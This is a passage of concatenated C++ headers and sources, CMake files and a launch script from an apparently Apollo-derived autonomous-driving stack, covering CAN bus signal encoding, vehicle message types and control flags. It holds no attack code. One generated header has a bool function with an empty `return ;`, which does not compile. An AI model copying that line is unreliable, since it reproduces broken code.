"modules/canbus/vehicle/cx75/protocol/ipm_leftline_0x278_278.h" #include "modules/drivers/canbus/common/byte.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; const int32_t Ipmleftline0x278278::ID = 0x278; // public Ipmleftline0x278278::Ipmleftline0x278278() { Reset(); } uint32_t Ipmleftline0x278278::GetPeriod() const { // TODO modify every protocol's period manually static const uint32_t PERIOD = 20 * 1000; return PERIOD; } void Ipmleftline0x278278::UpdateData(uint8_t* data) { set_p_ipm_leftline_dy(data, ipm_leftline_dy_); set_p_ipm_leftline_dx_lookhead(data, ipm_leftline_dx_lookhead_); set_p_ipm_leftline_hor_curve(data, ipm_leftline_hor_curve_); set_p_ipm_leftline_yawangle(data, ipm_leftline_yawangle_); set_p_ipm_ledtline_dx_start(data, ipm_ledtline_dx_start_); } void Ipmleftline0x278278::Reset() { // TODO you should check this manually ipm_leftline_dy_ = 0.0; ipm_leftline_dx_lookhead_ = 0.0; ipm_leftline_hor_curve_ = 0.0; ipm_leftline_yawangle_ = 0.0; ipm_ledtline_dx_start_ = 0.0; } Ipmleftline0x278278* Ipmleftline0x278278::set_ipm_leftline_dy( double ipm_leftline_dy) { ipm_leftline_dy_ = ipm_leftline_dy; return this; } // config detail: {'name': 'IPM_LeftLine_dy', 'enum': {0: 'IPM_LEFTLINE_DY_INITIAL_VALUE_NO_LINE'}, 'precision': 0.00390625, 'len': 12, 'is_signed_var': False, 'offset': -8.0, 'physical_range': '[-8|7.99609375]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'm'} void Ipmleftline0x278278::set_p_ipm_leftline_dy(uint8_t* data, double ipm_leftline_dy) { int x = (ipm_leftline_dy - -8.000000) / 0.003906; uint8_t t = 0; t = x & 0xF; Byte to_set0(data + 2); to_set0.set_value(t, 4, 4); x >>= 4; t = x & 0xFF; Byte to_set1(data + 1); to_set1.set_value(t, 0, 8); } Ipmleftline0x278278* Ipmleftline0x278278::set_ipm_leftline_dx_lookhead( double ipm_leftline_dx_lookhead) { ipm_leftline_dx_lookhead_ = ipm_leftline_dx_lookhead; return this; } // config detail: {'name': 'IPM_LeftLine_dx_lookhead', 'offset': 0.0, 'precision': 0.25, 'len': 9, 'is_signed_var': False, 'physical_range': '[0|127.75]', 'bit': 19, 'type': 'double', 'order': 'motorola', 'physical_unit': 'm'} void Ipmleftline0x278278::set_p_ipm_leftline_dx_lookhead(uint8_t* data, double ipm_leftline_dx_lookhead) { ipm_leftline_dx_lookhead = ProtocolData::BoundedValue(0.0, 127.75, ipm_leftline_dx_lookhead); int x = ipm_leftline_dx_lookhead / 0.250000; uint8_t t = 0; t = x & 0x1F; Byte to_set0(data + 3); to_set0.set_value(t, 3, 5); x >>= 5; t = x & 0xF; Byte to_set1(data + 2); to_set1.set_value(t, 0, 4); } Ipmleftline0x278278* Ipmleftline0x278278::set_ipm_leftline_hor_curve( double ipm_leftline_hor_curve) { ipm_leftline_hor_curve_ = ipm_leftline_hor_curve; return this; } // config detail: {'name': 'IPM_LeftLine_hor_curve', 'enum': {0: 'IPM_LEFTLINE_HOR_CURVE_INITIAL_VALUE_NO_CURVATURE'}, 'precision': 0.0001, 'len': 10, 'is_signed_var': False, 'offset': -0.015, 'physical_range': '[-0.015|0.0513]', 'bit': 26, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Ipmleftline0x278278::set_p_ipm_leftline_hor_curve(uint8_t* data, double ipm_leftline_hor_curve) { int x = (ipm_leftline_hor_curve - -0.015000) / 0.000100; uint8_t t = 0; t = x & 0x7F; Byte to_set0(data + 4); to_set0.set_value(t, 1, 7); x >>= 7; t = x & 0x7; Byte to_set1(data + 3); to_set1.set_value(t, 0, 3); } Ipmleftline0x278278* Ipmleftline0x278278::set_ipm_leftline_yawangle( double ipm_leftline_yawangle) { ipm_leftline_yawangle_ = ipm_leftline_yawangle; return this; } // config detail: {'name': 'IPM_LeftLine_yawangle', 'offset': -1.0, 'precision': 0.000488281, 'len': 12, 'is_signed_var': False, 'physical_range': '[-1|0.999510695]', 'bit': 47, 'type': 'double', 'order': 'motorola', 'physical_unit': ''} void Ipmleftline0x278278::set_p_ipm_leftline_yawangle(uint8_t* data, double ipm_leftline_yawangle) { ipm_leftline_yawangle = ProtocolData::BoundedValue(-1.0, 0.999510695, ipm_leftline_yawangle); int x = (ipm_leftline_yawangle - -1.000000) / 0.000488; uint8_t t = 0; t = x & 0xF; Byte to_set0(data + 6); to_set0.set_value(t, 4, 4); x >>= 4; t = x & 0xFF; Byte to_set1(data + 5); to_set1.set_value(t, 0, 8); } Ipmleftline0x278278* Ipmleftline0x278278::set_ipm_ledtline_dx_start( double ipm_ledtline_dx_start) { ipm_ledtline_dx_start_ = ipm_ledtline_dx_start; return this; } // config detail: {'name': 'IPM_LedtLine_dx_start', 'offset': 0.0, 'precision': 0.25, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|63.75]', 'bit': 7, 'type': 'double', 'order': 'motorola', 'physical_unit': 'm'} void Ipmleftline0x278278::set_p_ipm_ledtline_dx_start(uint8_t* data, double ipm_ledtline_dx_start) { ipm_ledtline_dx_start = ProtocolData::BoundedValue(0.0, 63.75, ipm_ledtline_dx_start); int x = ipm_ledtline_dx_start / 0.250000; Byte to_set(data + 0); to_set.set_value(x, 0, 8); } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_ins_status_h #define impl_type_ins_status_h #include "impl_type_uint8.h" enum class INS_Status : UInt8 { INS_Status_NONE = 0, ATTITUDE_INITI_ALIZATION = 1, INS_STATUS_NAVIGATION = 2 }; #endif // impl_type_ins_status_h <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_GW_VCU_CONTROL2_0X131_131_H_ #define MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_GW_VCU_CONTROL2_0X131_131_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace teshun { class Gwvcucontrol20x131131 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Gwvcucontrol20x131131(); void Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const override; private: // config detail: {'name': 'Checksum_0x131', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int checksum_0x131(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Rolling_Counter_0x131', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int rolling_counter_0x131(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_STS_VCU', 'enum': {0: 'VCU_STS_VCU_INITIALIZING', 1: 'VCU_STS_VCU_READY', 2: 'VCU_STS_VCU_WARNING', 3: 'VCU_STS_VCU_FAULT'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_control2_0x131_131::Vcu_sts_vcuType vcu_sts_vcu(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_Brake_flag', 'enum': {0: 'VCU_BRAKE_FLAG_NO_ACTIVE', 1: 'VCU_BRAKE_FLAG_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 40, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_control2_0x131_131::Vcu_brake_flagType vcu_brake_flag(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_Tractor_flag', 'enum': {0: 'VCU_TRACTOR_FLAG_NO_ACTIVE', 1: 'VCU_TRACTOR_FLAG_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 41, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_control2_0x131_131::Vcu_tractor_flagType vcu_tractor_flag(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_BrkPedPos_MEAS_VCU', 'offset': 0.0, 'precision': 0.1, 'len': 10, 'is_signed_var': False, 'physical_range': '[0|100]', 'bit': 35, 'type': 'double', 'order': 'motorola', 'physical_unit': '%'} double vcu_brkpedpos_meas_vcu(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_PWT_MODE_DASH', 'enum': {0: 'VCU_PWT_MODE_DASH_ECOHEV', 1: 'VCU_PWT_MODE_DASH_ECO_EV', 2: 'VCU_PWT_MODE_DASH_PWRHEV', 3: 'VCU_PWT_MODE_DASH_PWREV', 4: 'VCU_PWT_MODE_DASH_EV_ECO', 5: 'VCU_PWT_MODE_DASH_EV_POWER', 7: 'VCU_PWT_MODE_DASH_RESERVED'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 39, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_control2_0x131_131::Vcu_pwt_mode_dashType vcu_pwt_mode_dash(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_MCU_Motor1_CapDischarge_REQ', 'enum': {0: 'VCU_MCU_MOTOR1_CAPDISCHARGE_REQ_NO_REQUEST', 1: 'VCU_MCU_MOTOR1_CAPDISCHARGE_REQ_DISCHARGE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 36, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_control2_0x131_131::Vcu_mcu_motor1_capdischarge_reqType vcu_mcu_motor1_capdischarge_req(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_MCU_Motor1_Trq_REQ', 'offset': -1000.0, 'precision': 0.1, 'len': 16, 'is_signed_var': False, 'physical_range': '[-1000|1000]', 'bit': 23, 'type': 'double', 'order': 'motorola', 'physical_unit': 'Nm'} double vcu_mcu_motor1_trq_req(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_MCU_Motor1_Spd_REQ', 'offset': -10000.0, 'precision': 1.0, 'len': 16, 'is_signed_var': False, 'physical_range': '[-10000|10000]', 'bit': 7, 'type': 'int', 'order': 'motorola', 'physical_unit': 'rpm'} int vcu_mcu_motor1_spd_req(const std::uint8_t* bytes, const int32_t length) const; }; } // namespace teshun } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_TESHUN_PROTOCOL_GW_VCU_CONTROL2_0X131_131_H_ <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_monitormessageitem_h #define impl_type_monitormessageitem_h #include "impl_type_string.h" #include "impl_type_loglevel.h" #include "impl_type_messagesource.h" struct MonitorMessageItem { ::MessageSource source; ::String msg; ::LogLevel log_level; static bool IsPlane() { return false; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(source); fun(msg); fun(log_level); } template<typename F> void enumerate(F& fun) const { fun(source); fun(msg); fun(log_level); } bool operator == (const ::MonitorMessageItem& t) const { return (source == t.source) && (msg == t.msg) && (log_level == t.log_level); } }; #endif // impl_type_monitormessageitem_h <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_drivingmode_h #define impl_type_drivingmode_h #include "impl_type_uint8.h" enum class DrivingMode : UInt8 { COMPLETE_MANUAL = 0, COMPLETE_AUTO_DRIVE = 1, AUTO_STEER_ONLY = 2, AUTO_SPEED_ONLY = 3, EMERGENCY_MODE = 4, REMOTE_MODE = 5, APA_MODE = 6 }; #endif // impl_type_drivingmode_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_subdirectory(cx75) add_library(vehicle_controller_base vehicle_controller.cc vehicle_controller.h) target_link_libraries(vehicle_controller_base canbus_proto vehicle_config_helper error_code_proto control_proto can_client can_sender message_manager_base canbus_common) add_library(abstract_vehicle_factory abstract_vehicle_factory.cc abstract_vehicle_factory.h) target_link_libraries(abstract_vehicle_factory canbus_proto vehicle_controller_base message_manager_base canbus_common) add_library(vehicle_factory vehicle_factory.cc vehicle_factory.h) target_link_libraries(vehicle_factory #ch_vehicle_factory #teshun_vehicle_factory cx75_vehicle_factory factory)<file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_gearposition_h #define impl_type_gearposition_h #include "impl_type_uint8.h" enum class GearPosition : UInt8 { GEAR_NEUTRAL = 0, GEAR_DRIVE = 1, GEAR_REVERSE = 2, GEAR_PARKING = 3, GEAR_LOW = 4, GEAR_INVALID = 5, GEAR_NONE = 6 }; #endif // impl_type_gearposition_h <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_index_h #define impl_type_index_h #include "impl_type_singleindex.h" struct Index { ::SingleIndex indexes; static bool IsPlane() { return ; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(indexes); } template<typename F> void enumerate(F& fun) const { fun(indexes); } bool operator == (const ::Index& t) const { return (indexes == t.indexes); } }; #endif // impl_type_index_h <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_string_h #define impl_type_string_h #include "ara/core/string.h" using String = ara::core::String; #endif // impl_type_string_h <file_sep>##################################################### # File Name: canbus.sh # Author: Leo # mail: <EMAIL> # Created Time: 2021年03月23日 星期二 16时34分44秒 ##################################################### #!/bin/bash DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" cd "${DIR}/.." export CM_CONFIG_FILE_PATH=${DIR}/../modules/canbus/outputJson/ ./Debug/modules/canbus/canbus --flagfile=modules/canbus/conf/canbus.conf --log_dir=data/log/ <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(util file.cc string_tokenizer.cc util.cc blocking_queue.h file.h string_tokenizer.h util.h ) target_link_libraries(util string_util math pnc_point_proto time boost_filesystem boost_system ) add_library(disjoint_set INTERFACE) add_library(lru_cache INTERFACE) add_library(threadpool INTERFACE) add_library(ctpl_stl INTERFACE) add_library(color INTERFACE) add_library(string_util string_util.cc string_util.h) target_link_libraries(string_util protobuf) add_library(map_util INTERFACE) target_link_libraries(map_util INTERFACE protobuf) add_library(factory INTERFACE) target_link_libraries(factory INTERFACE jmcauto_log) add_library(points_downsampler INTERFACE) target_link_libraries(points_downsampler INTERFACE jmcauto_log geometry) add_library(json_util json_util.cc json_util.h) target_link_libraries(json_util jmcauto_log third_party/json protobuf) add_library(http_client http_client.cc http_client.h) target_link_libraries(http_client jmcauto_log status string_util third_party/json curlpp) add_library(future INTERFACE) target_link_libraries(future INTERFACE absl/memory absl/strings absl/types/optional absl/utility) add_library(message_util INTERFACE) target_link_libraries(message_util INTERFACE time absl/strings protobuf) add_library(point_factory INTERFACE) target_link_libraries(point_factory INTERFACE geometry pnc_point_proto) add_library(pb_convertor PbConvertor.cpp PbConvertor.h) target_link_libraries(pb_convertor protobuf ) <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(monitor_log_proto monitor_log.pb.cc monitor_log.pb.h) target_link_libraries(monitor_log_proto common_proto header_proto protobuf) <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_mlpmodelconfig_h #define impl_type_mlpmodelconfig_h #include "impl_type_double.h" struct MlpModelConfig { ::Double dt; static bool IsPlane() { return true; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(dt); } template<typename F> void enumerate(F& fun) const { fun(dt); } bool operator == (const ::MlpModelConfig& t) const { return (dt == t.dt); } }; #endif // impl_type_mlpmodelconfig_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(path_optimizer path_optimizer.cc path_optimizer.h) target_link_libraries(path_optimizer /modules/common/status path_decision reference_line_info path_data speed_data /modules/planning/tasks:task eigen) add_library(speed_optimizer speed_optimizer.cc speed_optimizer.h) target_link_libraries(speed_optimizer /modules/common/status path_decision planning_gflags reference_line_info speed_limit st_graph_data path_data speed_data /modules/planning/tasks:task eigen) add_library(trajectory_optimizer trajectory_optimizer.cc trajectory_optimizer.h) target_link_libraries(trajectory_optimizer /modules/common/status planning_gflags discretized_trajectory /modules/planning/tasks:task) <file_sep>/****************************************************************************** * Copyright 2017 The Apollo Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_ESP_WHLPULSE_0X236_236_H_ #define MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_ESP_WHLPULSE_0X236_236_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace cx75 { class Espwhlpulse0x236236 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Espwhlpulse0x236236(); void Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const override; private: // config detail: {'name': 'ESP_WheelPulse_FR', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|254]', 'bit': 15, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int esp_wheelpulse_fr(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_WheelPulse_RL', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|254]', 'bit': 23, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int esp_wheelpulse_rl(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_WheelPulse_RR', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|254]', 'bit': 31, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int esp_wheelpulse_rr(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'RollingCounter_ESP_0x236', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int rollingcounter_esp_0x236(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_WheelPulse_RR_Valid', 'enum': {0: 'ESP_WHEELPULSE_RR_VALID_VALID', 1: 'ESP_WHEELPULSE_RR_VALID_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 52, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_whlpulse_0x236_236::Esp_wheelpulse_rr_validType esp_wheelpulse_rr_valid(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_WheelPulse_RL_Valid', 'enum': {0: 'ESP_WHEELPULSE_RL_VALID_VALID', 1: 'ESP_WHEELPULSE_RL_VALID_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 53, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_whlpulse_0x236_236::Esp_wheelpulse_rl_validType esp_wheelpulse_rl_valid(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_WheelPulse_FR_Valid', 'enum': {0: 'ESP_WHEELPULSE_FR_VALID_VALID', 1: 'ESP_WHEELPULSE_FR_VALID_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 54, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_whlpulse_0x236_236::Esp_wheelpulse_fr_validType esp_wheelpulse_fr_valid(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_WheelPulse_FL_Valid', 'enum': {0: 'ESP_WHEELPULSE_FL_VALID_VALID', 1: 'ESP_WHEELPULSE_FL_VALID_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_whlpulse_0x236_236::Esp_wheelpulse_fl_validType esp_wheelpulse_fl_valid(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Checksum_ESP_0x236', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int checksum_esp_0x236(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_WheelPulse_FL', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|254]', 'bit': 7, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int esp_wheelpulse_fl(const std::uint8_t* bytes, const int32_t length) const; }; } // namespace cx75 } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_cx75_PROTOCOL_ESP_WHLPULSE_0X236_236_H_ <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(st_point st_point.cc st_point.h) target_link_libraries(st_point /modules/common/math /external:gflags) add_library(st_boundary st_boundary.cc st_boundary.h) target_link_libraries(st_boundary st_point log planning_gflags planning_proto) add_library(speed_data speed_data.cc speed_data.h) target_link_libraries(speed_data st_point /modules/common/math pnc_point_proto point_factory string_util planning_context planning_gflags planning_proto /external:gflags) <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/control/common/control_gflags.h" DEFINE_string(control_conf_file, "modules/control/conf/vehicle.pb.txt", "default control conf data file"); DEFINE_string(control_adapter_config_filename, "modules/control/conf/adapter.conf", "The adapter config file"); DEFINE_bool(enable_csv_debug, false, "True to write out csv debug file."); DEFINE_bool(enable_speed_station_preview, true, "enable speed/station preview"); DEFINE_string(control_node_name, "control", "The control node name in proto"); DEFINE_bool(is_control_test_mode, false, "True to run control in test mode"); DEFINE_double(control_test_duration, -1.0, "Control testing duration in seconds. This number is will not " "take effect if negative"); //DEFINE_bool(use_preview_speed_for_table, false, // "True to use preview speed for table lookup"); DEFINE_bool(enable_input_timestamp_check, true, "True to enable input timestamp delay check"); DEFINE_int32(max_localization_miss_num, 20, "Max missing number of localization before entering estop mode"); DEFINE_int32(max_chassis_miss_num, 20, "Max missing number of chassis before entering estop mode"); DEFINE_int32(max_planning_miss_num, 20, "Max missing number of planning before entering estop mode"); DEFINE_double(max_acceleration_when_stopped, 0.01, "max acceleration can be observed when vehicle is stopped"); DEFINE_double(steer_angle_rate, 200.0, "Steer angle change rate in percentage."); DEFINE_bool(enable_gain_scheduler, false, "Enable gain scheduler for higher vehicle speed"); DEFINE_bool(set_steer_limit, false, "Set steer limit"); DEFINE_bool(enable_slope_offset, false, "Enable slope offset compensation"); DEFINE_double(lock_steer_speed, 0.05, "Minimum speed to lock the steer, in m/s"); //DEFINE_bool(enable_navigation_mode_handlilng, false, // "Enable special handling for navigation mode"); DEFINE_bool(enable_persistent_estop, false, "True to persistent keep estop status, " "pad reset can reset the estop status."); DEFINE_bool(enable_steering_calibration_compensate,false,"true to compensate steeing calibration") ; DEFINE_double(steering_calibration_coeff, 1.0, "the coeff of steering calibration"); DEFINE_double(max_abs_speed_when_stopped, 0.01, "Stop speed"); DEFINE_double(stop_path_remain, 0.1, "Stop path remain"); DEFINE_double(steering_angle_change_rate_coeff , 0.5, "Steering change rate influence steering torque"); DEFINE_bool(enable_use_steering_pid , true , "True to use pid control to compensate steering torque,false to use coeff compensation") ; DEFINE_bool(use_preview_point,false,"True to use new preview methed"); DEFINE_bool(reverse_heading_control,true, "test vehicle reverse control"); DEFINE_bool( trajectory_transform_to_com_reverse, false, "Enable planning trajectory coordinate transformation from center of " "rear-axis to center of mass, during reverse driving"); DEFINE_bool( trajectory_transform_to_com_drive,false, "Enable planning trajectory coordinate transformation from center of " "rear-axis to center of mass, during forward driving"); DEFINE_bool(enable_maximum_steer_rate_limit, false, "Enable steer rate limit obtained from vehicle_param.pb.txt"); DEFINE_bool(query_time_nearest_point_only, false, "only use the trajectory point at nearest time as target point"); DEFINE_bool(query_forward_time_point_only, false, "only use the trajectory point in future"); DEFINE_bool(enable_feedback_augment_on_high_speed, false, "Enable augmented control on lateral error on high speed"); DEFINE_bool( enable_gear_drive_negative_speed_protection, false, "Enable estop to prevent following negative speed during gear drive"); <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_uint8_h #define impl_type_uint8_h #include "base_type_std_uint8_t.h" typedef std_uint8_t UInt8; #endif // impl_type_uint8_h <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #include <cstdint> #ifndef base_type_std_uint8_t_h #define base_type_std_uint8_t_h typedef std::uint8_t std_uint8_t; #endif // base_type_std_uint8_t_h <file_sep># Data This module contains data solution for JmcAuto, including tools and infrastructure to deal with scenarios like collection, storage, processing, etc. <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #include "jmc_auto/localizationserviceinterface_common.h" namespace jmc_auto { constexpr ara::com::ServiceIdentifierType LocalizationServiceInterface::ServiceIdentifier; constexpr ara::com::ServiceVersionType LocalizationServiceInterface::ServiceVersion;; } // namespace jmc_auto <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(kv_db kv_db.cc kv_db.h ) target_link_libraries(kv_db gflags jmcauto_log util)<file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_ADAPTERS_MESSAGE_ADAPTERS_H_ #define MODULES_ADAPTERS_MESSAGE_ADAPTERS_H_ #include "modules/canbus/proto/chassis.pb.h" #include "modules/canbus/proto/chassis_detail.pb.h" #include "modules/control/proto/control_cmd.pb.h" #include "modules/control/proto/pad_msg.pb.h" #include "modules/localization/proto/localization.pb.h" #include "modules/common/adapters/adapter.h" #include "impl_type_chassis.h" #include "impl_type_localization.h" #include "impl_type_controlcommand.h" #include "jmc_auto/chassisserviceinterface_common.h" #include "jmc_auto/chassisserviceinterface_skeleton.h" #include "jmc_auto/chassisserviceinterface_proxy.h" #include "jmc_auto/controlcommandserviceinterface_common.h" #include "jmc_auto/controlcommandserviceinterface_skeleton.h" #include "jmc_auto/controlcommandserviceinterface_proxy.h" #include "jmc_auto/localizationserviceinterface_common.h" #include "jmc_auto/localizationserviceinterface_skeleton.h" #include "jmc_auto/localizationserviceinterface_proxy.h" /** * @file message_adapters.h * @namespace jmc_auto::common::adapter * @brief This is an agglomeration of all the message adapters supported that * specializes the adapter template. */ namespace jmc_auto { namespace common { namespace adapter { using ChassisAdapter = Adapter<::jmc_auto::canbus::Chassis>; using ChassisDetailAdapter = Adapter<::jmc_auto::canbus::ChassisDetail>; using LocalizationAdapter = Adapter< jmc_auto::localization::LocalizationEstimate>; using ControlCommandAdapter = Adapter<::jmc_auto::control::ControlCommand>; //using PlanningAdapter = Adapter<planning::ADCTrajectory>; //using 